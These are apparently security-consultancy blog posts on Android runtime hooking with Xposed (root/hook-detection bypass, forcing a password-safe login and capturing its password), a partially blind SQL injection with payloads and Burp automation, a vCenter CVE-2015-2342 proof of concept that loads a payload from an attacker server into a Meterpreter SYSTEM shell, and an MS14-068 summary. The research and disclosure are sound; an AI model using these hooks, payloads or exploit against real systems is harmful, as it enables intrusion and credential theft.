Android Mobile Application, Runtime Mischief

Introduction

7 Elements conduct a large number of mobile application penetration tests as part of our security consulting services. An area of interest amongst our customers is our ability to bypass root detection, local application logic and access sensitive objects which are encrypted at rest.

What will this blog cover?

This blog will cover attacking mobile applications at run time using the Xposed framework. Firstly, we need to understand what the Xposed framework is and how it works.

What is the Xposed Framework?

Xposed framework provides a means through which applications can be modified without having to recompile the APK file with new code. The Xposed framework includes modules as part of a repository that can be installed to hack both the android system and applications on the device. These modules are not created for malicious purposes and for example can be used to disable unwanted or untrusted functionality in an application or modify the android system to display different colours or logos.

The following link provides a good description of its capability: Link

How does hooking work?

How Xposed is able to hook and exploit applications at runtime. Quoted from the link above:

There is a process that is called “Zygote”. This is the heart of the Android runtime. Every application is started as a copy (“fork”) of it. This process is started by an /init.rc script when the phone is booted. The process start is done with /system/bin/app_process, which loads the needed classes and invokes the initialization methods.

This is where Xposed comes into play. When you install the framework, an extended app_process executable is copied to /system/bin. This extended startup process adds an additional jar to the classpath and calls methods from there at certain places. For instance, just after the VM has been created, even before the main method of Zygote has been called. And inside that method, we are part of Zygote and can act in its context.”

Therefore, Xposed sits in a very powerful position on the phone and through the modules can “patch” the applications to modify their actions during specific operations.

Root Detection

What is root detection?

Straight from Wikipedia: “Rooting is the process of allowing users of smartphones, tablets and other devices running the Android mobile operating system to attain privileged control (known as root access) over various Android subsystems. As Android uses the Linux kernel, rooting an Android device gives similar access to administrative (superuser) permissions as on Linux or any other Unix-like operating system such as FreeBSD or OS X.”

Common root detections can be seen here: Link

Can Xposed help with bypassing root detection?

Yes, it can due to the powerful position Xposed operates in. We can identify root detection methods disable or return expected data.

All applications make use of different methods as part of root detection, some more basic, while others are constructed by paid for services and defensive frameworks. Therefore, we normally carryout specific engagement based coding to bypass the security controls.

Xposed already includes one good example of a module that can bypass a number of root detection checks. The modules is called RootCloak: Link

Simple Example

A simple example of root detection is to look for known packages on the device using the Android Package Manager. The following code extracted from RootCloak details one method for hooking the native Package Manager application, changing the package being inspected and returning package not found:

findAndHookMethod("android.app.ApplicationPackageManager", lpparam.classLoader, "getPackageInfo", String.class, int.class, new XC_MethodHook() {
 @Override
 protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
         if (debugPref) {
         XposedBridge.log("Hooked getPackageInfo");
         }
         String name = (String) param.args[0];
 
         if (name != null&&stringContainsFromSet(name, keywordSet)) {
         param.args[0]=FAKE_PACKAGE; // Set a fake package name
         if(debugPref) {
         XposedBridge.log("Found and hid package: " + name);
         }
        }
      }
   });

The code above hooks the appropriate package manager class and inspects the package that is being reviewed. If the package matches known list of packages we want to hide, the package is automatically changed to a fake package name. The response to this from the package manager is therefore “did not find the package you were looking for”.

Some applications should be allowed to run on rooted devices, what other defences are there?

Hook Detection

While root detection is important, a number of our clients allow their applications to be run on rooted devices opting instead to use hook detection to stop malicious activity at run time.

What is hook detection?

Hook detection is built into the application and detects if a rogue application has intercepted a called function that resides in a system library or within the application.

Real world example:

On a recent engagement we raised the lack of hook detection as a security issue. On returning to the site the company had implemented a new version of the application with hook detection enabled. The implementation of hook detection was capable of detecting that the application was running on a device flashed with Xposed and therefore permanently hooked and would not execute.

While a large percentage of the code base was obfuscated, the main activity included a method hDetection_Fail(). Through reverse engineering and code review we discovered that this method was used by application to identify hooking. We then created a module for Xposed that located the running application, hooked the appropriate class and disabled the method before it could kill the application.

The following snippet of code was used to bypass the hook detection:

public class Doug implements IXposedHookLoadPackage {

    public void handleLoadPackage(final LoadPackageParam lpparm) throws Throwable {

        String packageName = "com.App.Test";
        String classToHook = "com.App.Test.MainActivity";

        if (!lpparm.packageName.equals(packageName))
            return;

        XposedBridge.log("Doug is in the App");

        findAndHookMethod(classToHook, lpparm.classLoader, "hDetection_Fail", XC_MethodReplacement.returnConstant(null));

    }

The outcome of loading this module as part of the Xposed framework was that the application ran, identified that it was hooked, jumped into the function hDetection_Fail and then exited the function with null and continued to operate as normal bypassing the hook detection, by using hooking………. Pause for a smile.

Where can I learn more about Xposed?

The Xposed framework syntax is large and its capability vast. The following links detail the functions included in the framework:

More Real World Examples

We downloaded a random password safe app from the Playstore. This password safe application utilises encryption and hashing and stores data in an encrypted format in the database. This demonstration is not to show you how to hack a particular application but instead should demonstrate the depth to which Xposed can impact an application.

Reverse engineering the code base is relatively simple especially when the author does not implement obfuscation routines. OWASP mobile testing, M9 Reverse Engineering – Link.

Let’s focus on the login part of the application and attack it head on

On the application we discovered the following code:

public static boolean validatePassword(String paramString1, String paramString2)

  {

    return validatePassword(paramString1.toCharArray(), paramString2);

This looked interesting and definitely worth dumping the contents of the two string values. Going ahead and doing this produced the following results (Don’t worry code shown in next segment):

07-26 21:13:26.508 8410-8410/? I/Xposed: Doug is in password app

07-26 21:13:32.378 8410-8410/? I/Xposed: Doug – Activity Called……..

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string1: letmein

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string2: 1000:161eacdbb11a1d1b01646bc55b351926ec68d3bdc36b0e88:e709c77356120e9e347aac5d7781252919f5f24995762105

Clearly this is no ordinary compare function. However, it should be noted that it is not uncommon to see a compare being undertaken against the actual stored password string. Looking further into the code we see the following output:

public static boolean validatePassword(char[] paramArrayOfChar, String paramString)

  {

    String[] arrayOfString = paramString.split(":");

    int i = Integer.parseInt(arrayOfString[0]);

    byte[] arrayOfByte1 = fromHex(arrayOfString[1]);

    byte[] arrayOfByte2 = fromHex(arrayOfString[2]);

    return slowEquals(arrayOfByte2, pbkdf2(paramArrayOfChar, arrayOfByte1, i, arrayOfByte2.length));

  }

This indicates that the password is stored as a PBKDF2 hash. This sucks, when it comes to bypassing the authentication mechanism. Even with the salt and the number of iteration of the cipher we still need to brute force the password. The good thing is that this can be done offline rather than within the application removing the potential to lock the password safe application.

Let’s take a different approach

Alternatively, we could wait for the user to enter the correct password and check the logs. As this appears to be following reasonably good practices we will chance our luck. The purpose of this function is to return a Boolean value, True or False. Xposed can automatically return any function as a Boolean value. The following code demonstrates dumping the contents of the strings as well as forcing the login by creating a Boolean value of true.

public class Bypass implements IXposedHookLoadPackage {

    public void handleLoadPackage(final LoadPackageParam lpparm) throws Throwable {

        String packageName = "com.Application.password";
        String classToHook = "com.Applicaiton.password.utils.passwords.masterPW ";

        if (!lpparm.packageName.equals(packageName))
            return;

        XposedBridge.log("Doug is in password app");

        findAndHookMethod(classToHook, lpparm.classLoader, "validatePass", String.class, String.class, new XC_MethodHook() {
            @Override
            protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                XposedBridge.log("Doug - Activity Called........");
                //XposedBridge.log("--------------------------------------------");
if (param.args[0] != null ) {

                XposedBridge.log("Doug - Found string1: " + ((String) param.args[0]));
                }
                if (param.args[1] != null ) {
                    XposedBridge.log("Doug - Found string2: " + ((String) param.args[1]));
                }
                if (param.args[0] != null) {
                    // modify the result of the original method
param.setResult(true);

                    XposedBridge.log("Doug says let me in");
                }
                XposedBridge.log("--------------------------------------------");
            }
        });

    }
}

The output of this looks as follows:

07-26 21:13:32.378 8410-8410/? I/Xposed: Doug – Activity Called……..

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string1: bang

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string2: 1000:161eacdbb11a1d1b01646bc55b351926ec68d3bdc36b0e88:e709c77356120e9e347aac5d7781252919f5f24995762105

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug says let me in

So the cool thing is that the application allowed us to gain entry to the password safe application but unfortunately all the values and contents were encrypted using the password and therefore the details contained within each entry are unintelligible. As they used the password bang to decrypt the data in the application.

The following screenshot shows the password safe application in operation but the values are of no use to an attacker:

Hooking Blog - Encrypted pass-safe

While we could not break into the application using this method; it demonstrates yet another way in which the code can be manipulated at run time in line with its current workflow.

To recap, we have the password being sent into the application by any user, so we could capture the password at this point of the workflow. Secondly, we have the salt, the number of iteration and the hashing mechanism, to attempt password guessing techniques offline. This may be a viable attack vector as a lot of password safes can destroy themselves after a number of failed login attempts.

Okay, I am getting upset now, let us take another approach!

While the application can be attacked straight on through offline brute forcing, it is not really the result we hoped for. Let’s look at another attack vector to target users while they use the application. By using the application, we can see that it makes use of the clipboard to copy passwords out of the application to be pasted into login forms or other applications. It is possible to attack the application by targeting the clipboard.

Step Back! Why am I doing all the work…. what about you?

Getting started with this type of code manipulation can be difficult. Therefore, it’s always useful to have good examples of applications or hooks that other users have written. There is a really good application for security testing called Inspeckage, that has a number of prebuild hooks and allows users to set new hooks based on the Class name or the Method within the application. Writing your own code means deploying a module and then having to reboot the phone so that the module can be enabled. Inspeckage once enabled can be modified to carry out new actions through the hook+ option that will automatically take effect. This can be really useful when testing an application that is obfuscated. It allows the tester to see what variables are being passed between methods, which is a great starting point.

Inspeckage can be found via the following Link.

Demo of Inspeckage, capturing clipboard data

We can use Inspeckage to capture all the clipboard interactions from within the specific application, as previously discussed. The following output details the Inspeckage hook application capturing the clipboard information every time some data is passed to it. This information is output to Logcat and then displayed through the Inspeckage web page under the Misc category, as detailed below:

Hooking Blog - Inspec

Conclusions

Hopefully we have been able to demonstrate that it is possible to manipulate applications to bypass root detection, hook detection and retrieve sensitive information all at run time. The following recommendations should be reviewed when coding an application.

  1. Deploy complex root detection routines where possible. This should also terminate the application locally and not send information back to a back end server to terminate the communications (SSL Pinning issues – sure to be another blog sometime).
  2. Deploy additional hook detection in sensitive functions to minimise misuse.
  3. Smart coding. Smart coding covers building applications in line with the software development lifecycle and including security into each stage of an applications development. Too often we see obfuscation routines being used as the only security mechanism in an application.
  4. Obfuscate all code everywhere. This can be achieved both throug h automated means by paid for services but also in the coding themselves. Taking away the context of variables and functions to minimize an attackers understanding of the application.

There are loads of additional good practices that could be a blog on their own. For more information check out OWASP Mobile Security Project – Link

Chasing another SQL Injection

Firstly, what is SQL injection?

SQL injection occurs where user controlled data is converted into an SQL statement and is executed by the web application’s database server.

What is the threat?

A successful SQL injection attack can lead to the insertion, modification or deletion of database data. SQL injection based attacks can also aid in bypassing authentication and authorisation mechanisms and in certain circumstances result in the ability to review the contents of the entire database server’s databases or gain access to the underlying operating system.

Note – This is solely dependent on the permissions that the SQL statement is executed with. If the execution permissions are limited to read access ONLY, then the impact of such attack would also be limited.

What is Blind SQL injection?

In typical SQL injection, error messages are used to help security testers discover and in some cases retrieve data from a database. In contrast, Blind SQL injection does not rely on error messages and instead must rely on the behaviour of the application, often through subtle control over application time-based responses in order to retrieve data. In essence, Blind SQL injection is the same as Standard SQL injection, except that more thought has to go into identifying a vulnerable instance and understanding the realm of control over the database server.

In Practice

During a recent web application security engagement, 7 Elements found a partial Blind SQL injection vulnerability. We say ‘partial’ as the application returned an error indicating that the SQL statement was invalid and that we were able to interact with the construction of the actual SQL statement executed by the back end database server. However, due to complex parsing and validation routines (both SQL and JSON), queries had to follow a specific set of rules:

  1. The SQL statement had to be valid and could not be terminated or commented.
  2. Bypass JSON input validation routines.
  3. The response had to result in an integer only otherwise parsing the results failed.

This made things much more difficult to exploit, as returning data was going to be difficult. Therefore, the partial Blind references the Blind techniques used to extract data from the database. We would like to point out that automated vulnerability scanning indicated that the server was vulnerable to SQL injection but it also stated it was vulnerable to OS Command Execution, XML Injection and Ruby code execution… it was, sadly, only vulnerable to SQL Injection.

The environment under test was further restrictive as interactions with the application resulted in sporadic response times, meaning that time based responses were not a viable way to infer any true or false statements. Luckily the SQL injection vulnerability was the result of a query that did return data, if data was in the database to be returned (By this we mean an integer of the number of times in the table the data was found).

It was possible to confirm that SQL injection was possible by first utilising two main statements, one being true and the other being false. Therefore by using the following methods we could confirm that we are able to interact with the SQL query using the following syntax:

True Statement

(Username = '7Elements AND 1=1’)

False Statement

(Username = '7Elements AND 1=2’)

The True statement returns data while the False statement returned no data. The response below details two instances of the 7Elements user in the table.

Request:

POST /testapp HTTP/1.1Host: 7elements.testing.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
--CUT--

{"list":"_view","sort":"(Username = ‘7Elements’)"}

Response:

{"d":"{\"page\":1,\"total\":1,\"records\":2}”}

When exploiting this particular type of vulnerability there are a few methods to return data. For the most part it results in a large number of requests being sent.

Automation? Sounds good to me

Most security testers will be familiar with SQLMAP, a fantastic tool that automates the exploitation of SQL vulnerabilities. Unfortunately, in this case it was not possible to detect the SQL vulnerability. Even after some fine-tuning, it was still not possible to detect the SQL injection vulnerability. On review of the response to each query, it was obvious that this was due to the parsing rules used within the application. Another few attempts were made to force the correct syntax but unfortunately this still did not work.

We then moved to another common tool, SQLNinja. This time after tweaking the configuration, SQLNinja identified the injection point.

SQLNinja could then be used to identify the database user. It stated the ‘sa’ account as running queries. For anyone who knows databases this is a *high five moment*. SQLNinja then detailed the version as MS-SQL 2005. Thinking we were onto a winner, we tracked the HTTP requests and responses only to see that the tool was using time based responses. The tool sent one query, when the application did not respond in a timely manner, it “inferred” this to be the correct answer. This didn’t look good… some manual verification is definitely required.

Manual Verification

Useful statements to start with when enumerating data in using blind techniques is to understand the length of a parameter that you want to enumerate. This helps understand how many quires should be made to fully enumerate the contents.

To calculate the length of a variable such as @@version we can use the following syntax:

Username = '7Elements' AND (select len(@@version)) > 24)

If this returns True, we can continue to up the number until its not true and then replace the value with a ‘=’ to validate the length.

For anyone that has done this type of injection on MS-SQL should realise that characters 21-24 are the version number. Rather than brute forcing the whole of the @@version variable we can send a minimal number of requests to validate the SQLNinja findings. The following example code details how each character of a variable, table, column or database can be returned. Red highlights the position of the character in the variable, while yellow indicates the value being assessed.

Payload:

(Username = '7Elements' AND (substring((select @@version),24,1) = '5'))

Unfortunately, this was equal to a false statement, showing that the version is not 2005 as SQLNinja had earlier identified.

Now we can work through common version numbers: 2000, 2005, 2008, 2012, 2014 and 2016. It turns out after further probing the 24th character is a 4. By decrementing the red marker, we can confirm the actual version to be 2014.

This is becoming pretty cool pretty quickly, but it requires a large amount of requests. So some quick thinking… We can now evaluate the length of variables and then systematically work our way through each character to identify its true value.

Possible characters in use, a-zA-Z0-9 and then some punctuation (-,._:;) Again these settings must be chosen based on the parsing rules as discussed earlier.

Some basic math says that the total number of options are (26 + 26 + 10 + 6) = 68. The math for working out the keyspace in this instance is equal to [the total number of possible options] times [the length]. This is because we can query each character in isolation, unlike brute forcing a password – [total number of options] to the power [the length].

It seems to me that without even completing the math we need to get back to some automation.

Burp is a very flexible proxy application with a number of additional security testing modules. The module we will use to automate this is Intruder.

Intruder has a number of options to help with the use of multiple payloads. In this scenario we can make use of Cluster bomb.

Cluster bomb – This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through each payload set in turn, so that all permutations of payload combinations are tested. I.e., if there are two payload positions, the attack will place the first payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1; it will then place the second payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1.”

Using Burp we will complete some basic enumeration of MS-SQL built in variables: BD_name(), @@version and user_name(). The first thing we want to do is to work out the length of each variable as described earlier. This can be automated but its easier to do manually.

Once we have the length we can set up the Cluster bomb payloads. To do this we will set:

  • Payload 1 (Red Marker) – with the payload set to numbers configured as 1-22 (length of string).
  • Payload 2 (Yellow Marker) – with the payload set of a-Z0-9 and any punctuation selected.

The actual payload line will look like this:

(Username = '7Elements' AND (substring((select @@DB_name()),§Payload-1§,1) = '§Payload-2§'))

As the response contains different content it is possible to filter the response by an expression, that matches a true statement, leaving only good information as per the following screenshot:

Partially Blind SQL

Partially Blind SQL

Using Burp it was very easy and fast to enumerate the three variable below:

DB_name() = sevenelements_dnn_only
@@version = microsoft sqlserver 2014
user_name() = sevenelements_test_user

In Conclusion

It goes without saying that this is just the starting point, but we think it’s a great place to leave this example for now. In a time when SQL injection has again hit the headlines, we can see that automated tools do not exceed the assurance provided by a proper in-depth security engagement. The skills of penetration testers with the capability to validate and manually exploit vulnerable configurations vastly outweighs the cheap and cheerful approach of automated vulnerability scanning.

CVE-2015-2342 VMware vCenter Remote Code Execution

Advisory Information

Title: vCenter Java JMX/RMI Remote Code Execution

Date Published: 01/10/2015

CVE: CVE-2015-2342

Advisory Summary

VMware vCenter Server provides a centralised platform for managing your VMware vSphere environments so you can automate and deliver a virtual infrastructure. VMware vCenter was found to bind an unauthenticated JMX/RMI service to the network stack. An attacker with access can abuse the configuration to achieve remote code execution, providing SYSTEM level access to the server.

Vendor

VMware

Affected Software

VMware Product Version Platform
VMware vCenter Server 6.0 Any
VMware vCenter Server 5.5 Any
VMware vCenter Server 5.1 Any
VMware vCenter Server 5.0 Any

Description of Issue

VMware’s vCenter application makes use of Java Virtual Machine (JVM) technology and supports the use of Java Management extensions (JMX), for application and network management and monitoring of the JVM. A JMX agent is setup to allow remote management of the JVM. The JMX agent utilises managed beans ‘MBeans’ to expose configured interfaces to manage predefined configurations. Any objects that are implemented as an MBean and registered with the agent can be managed from outside the agent’s Java virtual machine.

The JMX service was found to be configured insecurely as it does not require authentication, allowing a user to connect and interact with the service. The JMX service allows users to call the “javax.management.loading.MLet” function, which permits the loading of an MBean from a remote URL. An attacker can set up their remote Web Service to host an MLet (text file) that points to a malicious JAR file. When the JMX service registers the MLet file, the agent will initiate the URL to the remote JAR and execute the methods leading to code execution.

Ref – http://docs.oracle.com/javase/1.5.0/docs/api/javax/management/loading/MLet.html

Additional Information

Wider exploit development has already been undertaken against other vendors utilising JMX/RMI deployments and therefore, publicly available exploit code already exists that can be used in combination with Metasploit to gain a remote Meterpreter shell as SYSTEM.

Ref – https://github.com/mogwaisec/mjet

Ref – http://www.accuvant.com/blog/exploiting-jmx-rmi

Ref – https://www.exploit-db.com/exploits/36101/

PoC

For a proof of concept and further discussion, please see our blog on this issue.

Timeline

Reported – 27th February 2015

Accepted – 21st April 2015

First Fix – 10th September 2015

Retrospective Fix – 1st October 2015

Advisory Published – 1st October 2015

CVE-2015-2342 – Remote Code Execution within VMware vCenter

CVE-2015-2342 – Remote Code Execution within VMware vCenter – ‘All your base are belong to us’

Introduction

At the beginning of the year 7 Elements identified an unreported vulnerability within VMware’s vCenter product. The vulnerability provided SYSTEM level access to the hosting server and lead to a full compromise of the environment.

Due to the large scale commercial use of VMware products within enterprise level environments, 7 Elements started a long process to responsibly disclose the issue. The issue was first reported on 27th of February 2015 and can now be publicly disclosed with VMware providing fixes in both the latest version of vCenter 6.0 update 1 and updates to all previously affected versions.

Details of our advisory can be found here.

The VMware advisory can be found here.

Technical Detail

As detailed in the advisories above, the vulnerability takes advantage of an insecure deployment of the JMX/RMI service used to manage and monitor the Java Virtual Machine. By exploiting known methods, it is possible to remotely load an MLet file from an attacker controlled web server that points at a jar file. Our good friend Metasploit is really good at creating malicious jar files that result in remote shells. Therefore we have the perfect recipe to exploit the weakness and compromise the target server.

In the latest version the service no longer runs as SYSTEM by default and instead runs as ‘vspherewebclientsvc’. Execution against version 5.5 however, resulted in SYSTEM level access, on a default install.

The attack vector has already been weaponised with two known metasploit modules (12) and a separate exploit, made up of java class files, that when compiled and executed passes a command to the server to be executed (Antivirus Bypass).

Proof of Concept

Identifying the service using the nmap rmi-dumpregistry.nse script shows that the service is remotely available:

[email protected]:/opt/mjet# nmap -sS 1.1.1.2 -p 9875 –script=/usr/share/nmap/scripts/rmi-dumpregistry.nse

Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-15 16:56 BST

Nmap scan report for 1.1.1.2

Host is up (0.00036s latency).

PORT     STATE SERVICE

9875/tcp open  java-rmi

| rmi-dumpregistry:

|   jmxrmi

|     javax.management.remote.rmi.RMIServerImpl_Stub

|     @1.1.1.2:50966

|     extends

|       java.rmi.server.RemoteStub

|       extends

|_        java.rmi.server.RemoteObject

MAC Address: 00:0C:29:D1:00:30 (VMware)

 

Attacking the service running on host 1.1.1.2 and TCP Port 9875, while directing the remote URL for the MLET as http://1.1.1.1:8080/TArDcls4aeQZVWl:

[email protected]:/opt/mjet# java -jar mjet.jar -t 1.1.1.2 -p 9875 -u http://1.1.1.1:8080/TArDcls4aeQZVWl

---------------------------------------------------

MJET - Mogwai Security JMX Exploitation Toolkit 0.1

---------------------------------------------------

 

[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://1.1.1.2:9875/jmxrmi ...

[+] Connected: rmi://1.1.1.2  16

[+] Trying to create MLet bean...

[+] Loaded javax.management.loading.MLet

[+] Loading malicious MBean from http://1.1.1.1:8080/TArDcls4aeQZVWl

[+] Invoking: javax.management.loading.MLet.getMBeansFromURL

[+] Loaded class: metasploit.Metasploit

[+] Loaded MBean Server ID: drmwfzvo:name=NApCjRCB,id=gsKsVVHK

[+] Invoking: metasploit.Metasploit.run()

[+] Done

 

Metasploit Shell

-------------------------

2015-02-24 10:11:44 +0000 S:0 J:3 msf exploit(java_mlet_server) >

[*] Using URL: http://1.1.1.1:8080/TArDcls4aeQZVWl

[*] Server started.

[*] 1.1.1.2     java_mlet_server - handling request for /TArDcls4aeQZVWl

[*] 1.1.1.2     java_mlet_server - handling request for /TArDcls4aeQZVWl/

[*] 1.1.1.2     java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar

[*] 1.1.1.2     java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar

[*] Sending stage (30355 bytes) to 1.1.1.2

[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.2:50456) at 2015-02-24 10:12:32 +0000

 

2015-02-24 10:14:10 +0000 S:1 J:3 msf exploit(java_mlet_server) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getuid

Server username: SYSTEM

Remediation

VMware have advised customers to upgrade vulnerable versions of vCenter with the following versions:

VMware Product Version Platform Fixed Version
VMware vCenter Server 6.0 Any 6.0 u1
VMware vCenter Server 5.5 Any 5.5 u3
VMware vCenter Server 5.1 Any 5.1 u3b
VMware vCenter Server 5.0 Any 5.0 u3e

Conclusion

As can be seen with the above proof of concept, using already available tools it is a trivial exercise to gain full control over a vulnerable vCenter instance. As such, we would strongly recommend anyone running vCenter to ensure that they have either deployed the latest version from VMware or apply the relevant security patch. On a final note, remember that SYSTEM level access is only the beginning, especially when dealing with a server hosting VMware machines.

Kerb Your Enthusiasm – Microsoft Release Critical Security Update (MS14-068)

One week after “Patch Tuesday” and contrary to standard operating procedures Microsoft has released a Critical security update (MS14-068) to fix a security hole in all supported versions of Windows. MS14-068 addresses a vulnerability in the Kerberos Key Distribution Center (KDC) component, used within a domain environment for authenticating users. The vulnerability allows an unprivileged authenticated user to elevate their privileges to those of a domain administrator. The KDC component is available remotely and the vulnerability can be initiated as long as the miscreant has domain credentials. This has severe consequences for businesses and shows why Microsoft took steps to release an out-of-band patch. The patch was actually rumored to have been included in November’s patch cycle and then pulled last minute.

Additional Information

The vulnerability takes advantage of improper validation of signatures, which can allow certain elements of a service ticket to be forged. An attacker can trick the KDC by sending forged tickets impersonating any user in the domain, resulting in compromise of the domain. The vulnerability was privately reported to Microsoft however, within the Bulletin released, Microsoft stated that they were “aware of limited targeted attacks that attempt to exploit the vulnerability.”

Quick reminder about Kerberos: http://msdn.microsoft.com/en-us/library/bb742516.aspx

When the user first authenticates to the Authentication Service (AS) they are passed through the KDC and provided a TGT (Ticket Granting Ticket). The TGT contains an area called PAC (Privilege Attribute Certificate), which holds the user’s information. When the user wants to access a service they will present their TGT to the KDC, which will validate the PAC information and copy it to the ST (Service Ticket). The ST is then used to gain access to a service. The break down in validation occurs in the way that PAC information is validated. MS14-068 amends the way in which the validation occurs.

Log Analysis

As per the instructions in the following blog post http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx, it is possible to detect attempts to execute this vulnerability. However, it should be noted that log data can be amended and should not be relied on for identification of earlier exploitation.

Patch-Patch-Patch

It is therefore recommended that all Domain Controllers in your environment be updated immediately with all other servers being updated in due course. The priority is Domain Controllers due to their overarching dominion of all other entities within the network.

Now for some scaremongering, the only assurance you can have that you have not been ‘pwned’ is to rebuild your entire domain. This is due to the multiple ways in which it is possible to hide backdoors and amend entities or information stored in an Active Directory Domain.